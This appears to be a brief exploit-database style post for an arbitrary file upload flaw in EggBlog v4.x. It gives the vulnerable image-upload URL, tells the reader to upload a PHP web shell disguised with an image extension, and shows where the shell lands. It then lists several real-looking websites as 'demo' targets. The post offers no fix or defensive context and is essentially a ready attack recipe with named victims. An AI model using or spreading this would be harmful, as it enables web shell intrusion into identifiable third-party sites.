EggBlog v4.X.X Arbitrary File Upload vulnerability

########################################################################################

 

Site.ltd/[PaTh]/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=

Upload h4x3d.php.jpg/gif/png

Shell Path:

site.ltd/[PaTh]/photos/uploads/h4x3d.php.jpg

 

Demo:

www.thehenryvi.com/news

www.cn-blue.com

www.alrecenk.com/eggblog

sweetlyunique.net/blog

fucopuredietpills.com/eggblog/

www.mrcromwellsattic.com/blog/

elkarius.free.fr

########################################################################################